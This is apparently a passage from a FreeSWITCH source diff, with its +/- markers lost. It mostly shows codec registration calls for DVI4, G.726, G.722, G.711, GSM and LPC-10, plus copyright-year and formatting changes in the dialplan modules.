SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
5, /* the IANA code number */
"DVI4", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
32000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
(ebpf * count) + 4, /* number of bytes per frame compressed */
1, /* number of channels represented */
spf * count, /* number of frames per network packet */
switch_adpcm_init, /* function to initialize a codec handle using this implementation */
switch_adpcm_encode, /* function to encode raw data into encoded data */
switch_adpcm_decode, /* function to decode encoded data into raw data */
switch_adpcm_destroy); /* deinitalize a codec handle using this implementation */
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
5, /* the IANA code number */
"DVI4", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
32000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
(ebpf * count) + 4, /* number of bytes per frame compressed */
1, /* number of channels represented */
spf * count, /* number of frames per network packet */
switch_adpcm_init, /* function to initialize a codec handle using this implementation */
switch_adpcm_encode, /* function to encode raw data into encoded data */
switch_adpcm_decode, /* function to decode encoded data into raw data */
switch_adpcm_destroy); /* deinitalize a codec handle using this implementation */
}
mpf = 10000, spf = 160, bpf = 320, ebpf = 160;
for (count = 6; count > 0; count--) {
switch_core_codec_add_implementation(pool,
codec_interface,
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
6, /* the IANA code number */
"DVI4", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
16000, /* samples transferred per second */
16000, /* actual samples transferred per second */
64000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
(ebpf * count) + 4, /* number of bytes per frame compressed */
1, /* number of channels represented */
spf * count, /* number of frames per network packet */
switch_adpcm_init, /* function to initialize a codec handle using this implementation */
switch_adpcm_encode, /* function to encode raw data into encoded data */
switch_adpcm_decode, /* function to decode encoded data into raw data */
switch_adpcm_destroy); /* deinitalize a codec handle using this implementation */
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
6, /* the IANA code number */
"DVI4", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
16000, /* samples transferred per second */
16000, /* actual samples transferred per second */
64000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
(ebpf * count) + 4, /* number of bytes per frame compressed */
1, /* number of channels represented */
spf * count, /* number of frames per network packet */
switch_adpcm_init, /* function to initialize a codec handle using this implementation */
switch_adpcm_encode, /* function to encode raw data into encoded data */
switch_adpcm_decode, /* function to decode encoded data into raw data */
switch_adpcm_destroy); /* deinitalize a codec handle using this implementation */
}
/* G726 */
mpf = 10000, spf = 80, bpf = 160, ebpf = 20;
SWITCH_ADD_CODEC(codec_interface, "G.726 16k (AAL2)");
for (count = 12; count > 0; count--) {
switch_core_codec_add_implementation(pool,
codec_interface,
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
124, /* the IANA code number */
"AAL2-G726-16", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
16000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
ebpf * count, /* number of bytes per frame compressed */
1, /* number of channels represented */
count * 10, /* number of frames per network packet */
switch_g726_init, /* function to initialize a codec handle using this implementation */
switch_g726_encode, /* function to encode raw data into encoded data */
switch_g726_decode, /* function to decode encoded data into raw data */
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
124, /* the IANA code number */
"AAL2-G726-16", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
16000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
ebpf * count, /* number of bytes per frame compressed */
1, /* number of channels represented */
count * 10, /* number of frames per network packet */
switch_g726_init, /* function to initialize a codec handle using this implementation */
switch_g726_encode, /* function to encode raw data into encoded data */
switch_g726_decode, /* function to decode encoded data into raw data */
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
}
SWITCH_ADD_CODEC(codec_interface, "G.726 16k");
for (count = 12; count > 0; count--) {
switch_core_codec_add_implementation(pool,
codec_interface,
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
124, /* the IANA code number */
"G726-16", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
16000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
ebpf * count, /* number of bytes per frame compressed */
1, /* number of channels represented */
count * 10, /* number of frames per network packet */
switch_g726_init, /* function to initialize a codec handle using this implementation */
switch_g726_encode, /* function to encode raw data into encoded data */
switch_g726_decode, /* function to decode encoded data into raw data */
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
124, /* the IANA code number */
"G726-16", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
16000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
ebpf * count, /* number of bytes per frame compressed */
1, /* number of channels represented */
count * 10, /* number of frames per network packet */
switch_g726_init, /* function to initialize a codec handle using this implementation */
switch_g726_encode, /* function to encode raw data into encoded data */
switch_g726_decode, /* function to decode encoded data into raw data */
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
}
/* Increase encoded bytes per frame by 10 */
ebpf = ebpf + 10;
SWITCH_ADD_CODEC(codec_interface, "G.726 24k (AAL2)");
for (count = 12; count > 0; count--) {
switch_core_codec_add_implementation(pool,
codec_interface,
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
123, /* the IANA code number */
"AAL2-G726-24", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
24000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
ebpf * count, /* number of bytes per frame compressed */
1, /* number of channels represented */
count * 10, /* number of frames per network packet */
switch_g726_init, /* function to initialize a codec handle using this implementation */
switch_g726_encode, /* function to encode raw data into encoded data */
switch_g726_decode, /* function to decode encoded data into raw data */
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
123, /* the IANA code number */
"AAL2-G726-24", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
24000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
ebpf * count, /* number of bytes per frame compressed */
1, /* number of channels represented */
count * 10, /* number of frames per network packet */
switch_g726_init, /* function to initialize a codec handle using this implementation */
switch_g726_encode, /* function to encode raw data into encoded data */
switch_g726_decode, /* function to decode encoded data into raw data */
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
}
SWITCH_ADD_CODEC(codec_interface, "G.726 24k");
for (count = 12; count > 0; count--) {
switch_core_codec_add_implementation(pool,
codec_interface,
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
123, /* the IANA code number */
"G726-24", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
24000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
ebpf * count, /* number of bytes per frame compressed */
1, /* number of channels represented */
count * 10, /* number of frames per network packet */
switch_g726_init, /* function to initialize a codec handle using this implementation */
switch_g726_encode, /* function to encode raw data into encoded data */
switch_g726_decode, /* function to decode encoded data into raw data */
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
123, /* the IANA code number */
"G726-24", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
24000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
ebpf * count, /* number of bytes per frame compressed */
1, /* number of channels represented */
count * 10, /* number of frames per network packet */
switch_g726_init, /* function to initialize a codec handle using this implementation */
switch_g726_encode, /* function to encode raw data into encoded data */
switch_g726_decode, /* function to decode encoded data into raw data */
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
}
/* Increase encoded bytes per frame by 10 */
ebpf = ebpf + 10;
SWITCH_ADD_CODEC(codec_interface, "G.726 32k (AAL2)");
for (count = 12; count > 0; count--) {
switch_core_codec_add_implementation(pool,
codec_interface,
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
122, /* the IANA code number */
"AAL2-G726-32", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
32000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
ebpf * count, /* number of bytes per frame compressed */
1, /* number of channels represented */
count * 10, /* number of frames per network packet */
switch_g726_init, /* function to initialize a codec handle using this implementation */
switch_g726_encode, /* function to encode raw data into encoded data */
switch_g726_decode, /* function to decode encoded data into raw data */
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
122, /* the IANA code number */
"AAL2-G726-32", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
32000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
ebpf * count, /* number of bytes per frame compressed */
1, /* number of channels represented */
count * 10, /* number of frames per network packet */
switch_g726_init, /* function to initialize a codec handle using this implementation */
switch_g726_encode, /* function to encode raw data into encoded data */
switch_g726_decode, /* function to decode encoded data into raw data */
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
}
SWITCH_ADD_CODEC(codec_interface, "G.726 32k");
for (count = 12; count > 0; count--) {
switch_core_codec_add_implementation(pool,
codec_interface,
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
122, /* the IANA code number */
"G726-32", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
32000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
ebpf * count, /* number of bytes per frame compressed */
1, /* number of channels represented */
count * 10, /* number of frames per network packet */
switch_g726_init, /* function to initialize a codec handle using this implementation */
switch_g726_encode, /* function to encode raw data into encoded data */
switch_g726_decode, /* function to decode encoded data into raw data */
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
122, /* the IANA code number */
"G726-32", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
32000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
ebpf * count, /* number of bytes per frame compressed */
1, /* number of channels represented */
count * 10, /* number of frames per network packet */
switch_g726_init, /* function to initialize a codec handle using this implementation */
switch_g726_encode, /* function to encode raw data into encoded data */
switch_g726_decode, /* function to decode encoded data into raw data */
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
}
/* Increase encoded bytes per frame by 10 */
ebpf = ebpf + 10;
SWITCH_ADD_CODEC(codec_interface, "G.726 40k (AAL2)");
for (count = 12; count > 0; count--) {
switch_core_codec_add_implementation(pool,
codec_interface,
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
121, /* the IANA code number */
"AAL2-G726-40", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
40000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
ebpf * count, /* number of bytes per frame compressed */
1, /* number of channels represented */
count * 10, /* number of frames per network packet */
switch_g726_init, /* function to initialize a codec handle using this implementation */
switch_g726_encode, /* function to encode raw data into encoded data */
switch_g726_decode, /* function to decode encoded data into raw data */
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
121, /* the IANA code number */
"AAL2-G726-40", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
40000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
ebpf * count, /* number of bytes per frame compressed */
1, /* number of channels represented */
count * 10, /* number of frames per network packet */
switch_g726_init, /* function to initialize a codec handle using this implementation */
switch_g726_encode, /* function to encode raw data into encoded data */
switch_g726_decode, /* function to decode encoded data into raw data */
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
}
SWITCH_ADD_CODEC(codec_interface, "G.726 40k");
for (count = 12; count > 0; count--) {
switch_core_codec_add_implementation(pool,
codec_interface,
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
121, /* the IANA code number */
"G726-40", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
40000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
ebpf * count, /* number of bytes per frame compressed */
1, /* number of channels represented */
count * 10, /* number of frames per network packet */
switch_g726_init, /* function to initialize a codec handle using this implementation */
switch_g726_encode, /* function to encode raw data into encoded data */
switch_g726_decode, /* function to decode encoded data into raw data */
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
121, /* the IANA code number */
"G726-40", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
40000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
ebpf * count, /* number of bytes per frame compressed */
1, /* number of channels represented */
count * 10, /* number of frames per network packet */
switch_g726_init, /* function to initialize a codec handle using this implementation */
switch_g726_encode, /* function to encode raw data into encoded data */
switch_g726_decode, /* function to decode encoded data into raw data */
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
}
/* G722 */
mpf = 10000, spf = 80, bpf = 320, ebpf = 80;
SWITCH_ADD_CODEC(codec_interface, "G.722");
for (count = 6; count > 0; count--) {
switch_core_codec_add_implementation(pool,
codec_interface,
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
9, /* the IANA code number */
"G722", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
16000, /* actual samples transferred per second */
64000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
ebpf * count, /* number of bytes per frame compressed */
1, /* number of channels represented */
spf * count, /* number of frames per network packet */
switch_g722_init, /* function to initialize a codec handle using this implementation */
switch_g722_encode, /* function to encode raw data into encoded data */
switch_g722_decode, /* function to decode encoded data into raw data */
switch_g722_destroy); /* deinitalize a codec handle using this implementation */
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
9, /* the IANA code number */
"G722", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
16000, /* actual samples transferred per second */
64000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
ebpf * count, /* number of bytes per frame compressed */
1, /* number of channels represented */
spf * count, /* number of frames per network packet */
switch_g722_init, /* function to initialize a codec handle using this implementation */
switch_g722_encode, /* function to encode raw data into encoded data */
switch_g722_decode, /* function to decode encoded data into raw data */
switch_g722_destroy); /* deinitalize a codec handle using this implementation */
}
#ifdef ENABLE_G711
@@ -881,48 +869,44 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_voipcodecs_load)
mpf = 10000, spf = 80, bpf = 160, ebpf = 80;
SWITCH_ADD_CODEC(codec_interface, "G.711 ulaw");
for (count = 12; count > 0; count--) {
switch_core_codec_add_implementation(pool,
codec_interface,
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
0, /* the IANA code number */
"PCMU", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
64000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
ebpf * count, /* number of bytes per frame compressed */
1, /* number of channels represented */
spf * count, /* number of frames per network packet */
switch_g711u_init, /* function to initialize a codec handle using this implementation */
switch_g711u_encode, /* function to encode raw data into encoded data */
switch_g711u_decode, /* function to decode encoded data into raw data */
switch_g711u_destroy); /* deinitalize a codec handle using this implementation */
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
0, /* the IANA code number */
"PCMU", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
64000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
ebpf * count, /* number of bytes per frame compressed */
1, /* number of channels represented */
spf * count, /* number of frames per network packet */
switch_g711u_init, /* function to initialize a codec handle using this implementation */
switch_g711u_encode, /* function to encode raw data into encoded data */
switch_g711u_decode, /* function to decode encoded data into raw data */
switch_g711u_destroy); /* deinitalize a codec handle using this implementation */
}
SWITCH_ADD_CODEC(codec_interface, "G.711 alaw");
for (count = 12; count > 0; count--) {
switch_core_codec_add_implementation(pool,
codec_interface,
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
8, /* the IANA code number */
"PCMA", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
64000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
ebpf * count, /* number of bytes per frame compressed */
1, /* number of channels represented */
spf * count, /* number of frames per network packet */
switch_g711a_init, /* function to initialize a codec handle using this implementation */
switch_g711a_encode, /* function to encode raw data into encoded data */
switch_g711a_decode, /* function to decode encoded data into raw data */
switch_g711a_destroy); /* deinitalize a codec handle using this implementation */
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
8, /* the IANA code number */
"PCMA", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
64000, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
ebpf * count, /* number of bytes per frame compressed */
1, /* number of channels represented */
spf * count, /* number of frames per network packet */
switch_g711a_init, /* function to initialize a codec handle using this implementation */
switch_g711a_encode, /* function to encode raw data into encoded data */
switch_g711a_decode, /* function to decode encoded data into raw data */
switch_g711a_destroy); /* deinitalize a codec handle using this implementation */
}
#endif
@@ -930,47 +914,44 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_voipcodecs_load)
mpf = 20000, spf = 160, bpf = 320, ebpf = 33;
SWITCH_ADD_CODEC(codec_interface, "GSM");
for (count = 6; count > 0; count--) {
switch_core_codec_add_implementation(pool,
codec_interface,
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
3, /* the IANA code number */
"GSM", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
13200, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
ebpf * count, /* number of bytes per frame compressed */
1, /* number of channels represented */
count, /* number of frames per network packet */
switch_gsm_init, /* function to initialize a codec handle using this implementation */
switch_gsm_encode, /* function to encode raw data into encoded data */
switch_gsm_decode, /* function to decode encoded data into raw data */
switch_gsm_destroy); /* deinitalize a codec handle using this implementation */
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
3, /* the IANA code number */
"GSM", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
13200, /* bits transferred per second */
mpf * count, /* number of microseconds per frame */
spf * count, /* number of samples per frame */
bpf * count, /* number of bytes per frame decompressed */
ebpf * count, /* number of bytes per frame compressed */
1, /* number of channels represented */
count, /* number of frames per network packet */
switch_gsm_init, /* function to initialize a codec handle using this implementation */
switch_gsm_encode, /* function to encode raw data into encoded data */
switch_gsm_decode, /* function to decode encoded data into raw data */
switch_gsm_destroy); /* deinitalize a codec handle using this implementation */
}
/* LPC10 */
#if SWITCH_MAX_INTERVAL >= 90
SWITCH_ADD_CODEC(codec_interface, "LPC-10");
switch_core_codec_add_implementation(pool, codec_interface,
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
7, /* the IANA code number */
"LPC", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
2400, /* bits transferred per second */
90000, /* number of microseconds per frame */
720, /* number of samples per frame */
1440, /* number of bytes per frame decompressed */
28, /* number of bytes per frame compressed */
1, /* number of channels represented */
4, /* number of frames per network packet */
switch_lpc10_init, /* function to initialize a codec handle using this implementation */
switch_lpc10_encode, /* function to encode raw data into encoded data */
switch_lpc10_decode, /* function to decode encoded data into raw data */
switch_lpc10_destroy); /* deinitalize a codec handle using this implementation */
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
7, /* the IANA code number */
"LPC", /* the IANA code name */
NULL, /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
2400, /* bits transferred per second */
90000, /* number of microseconds per frame */
720, /* number of samples per frame */
1440, /* number of bytes per frame decompressed */
28, /* number of bytes per frame compressed */
1, /* number of channels represented */
4, /* number of frames per network packet */
switch_lpc10_init, /* function to initialize a codec handle using this implementation */
switch_lpc10_encode, /* function to encode raw data into encoded data */
switch_lpc10_decode, /* function to decode encoded data into raw data */
switch_lpc10_destroy); /* deinitalize a codec handle using this implementation */
#endif
/* indicate that the module should continue to be loaded */
return SWITCH_STATUS_SUCCESS;
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -297,14 +297,16 @@ SWITCH_STANDARD_DIALPLAN(asterisk_dialplan_hunt)
switch_endpoint_interface_t *sip_endpoint_interface;
static switch_call_cause_t sip_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
switch_call_cause_t *cancel_cause);
switch_io_routines_t sip_io_routines = {
/*.outgoing_channel */ sip_outgoing_channel
};
static switch_call_cause_t sip_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
switch_call_cause_t *cancel_cause)
{
const char *profile;
@@ -331,14 +333,16 @@ static switch_call_cause_t sip_outgoing_channel(switch_core_session_t *session,
switch_endpoint_interface_t *iax2_endpoint_interface;
static switch_call_cause_t iax2_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
switch_call_cause_t *cancel_cause);
switch_io_routines_t iax2_io_routines = {
/*.outgoing_channel */ iax2_outgoing_channel
};
static switch_call_cause_t iax2_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
switch_call_cause_t *cancel_cause)
{
UNPROTECT_INTERFACE(iax2_endpoint_interface);
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -150,7 +150,7 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_dialplan_directory_shutdown)
switch_safe_free(globals.dn);
switch_safe_free(globals.pass);
switch_safe_free(globals.base);
return SWITCH_STATUS_SUCCESS;
}
@@ -161,7 +161,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_dialplan_directory_load)
memset(&globals, 0, sizeof(globals));
load_config();
/* connect my internal structure to the blank pointer passed to me */
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
SWITCH_ADD_DIALPLAN(dp_interface, "directory", directory_dialplan_hunt);
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -72,10 +72,10 @@ static switch_status_t exec_app(switch_core_session_t *session, const char *app,
switch_core_session_exec(session, application_interface, arg);
done:
done:
UNPROTECT_INTERFACE(application_interface);
return status;
}
@@ -100,7 +100,7 @@ static int parse_exten(switch_core_session_t *session, switch_caller_profile_t *
int ovector[30];
switch_bool_t anti_action = SWITCH_TRUE;
break_t do_break_i = BREAK_ON_FALSE;
const char *xyear = switch_xml_attr(xcond, "year");
const char *xyday = switch_xml_attr(xcond, "yday");
const char *xmon = switch_xml_attr(xcond, "mon");
@@ -125,7 +125,7 @@ static int parse_exten(switch_core_session_t *session, switch_caller_profile_t *
}
switch_time_exp_lt(&tm, ts);
if (time_match && xyear) {
int test = tm.tm_year + 1900;
time_match = switch_number_cmp(xyear, test);
@@ -164,7 +164,7 @@ static int parse_exten(switch_core_session_t *session, switch_caller_profile_t *
if (time_match && xmweek) {
/* calculate the day of the week of the first of the month (0-6) */
int firstdow = (int) (7 - (tm.tm_mday - (tm.tm_wday + 1)) % 7) % 7;
/* calculate the week of the month (1-6)*/
/* calculate the week of the month (1-6) */
int test = (int) ceil((tm.tm_mday + firstdow) / 7.0);
time_match = switch_number_cmp(xmweek, test);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
@@ -198,7 +198,7 @@ static int parse_exten(switch_core_session_t *session, switch_caller_profile_t *
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
"Dialplan: minute of day[%d] =~ %s (%s)\n", test, xminday, time_match ? "PASS" : "FAIL");
}
field = (char *) switch_xml_attr(xcond, "field");
if ((xexpression = switch_xml_child(xcond, "expression"))) {
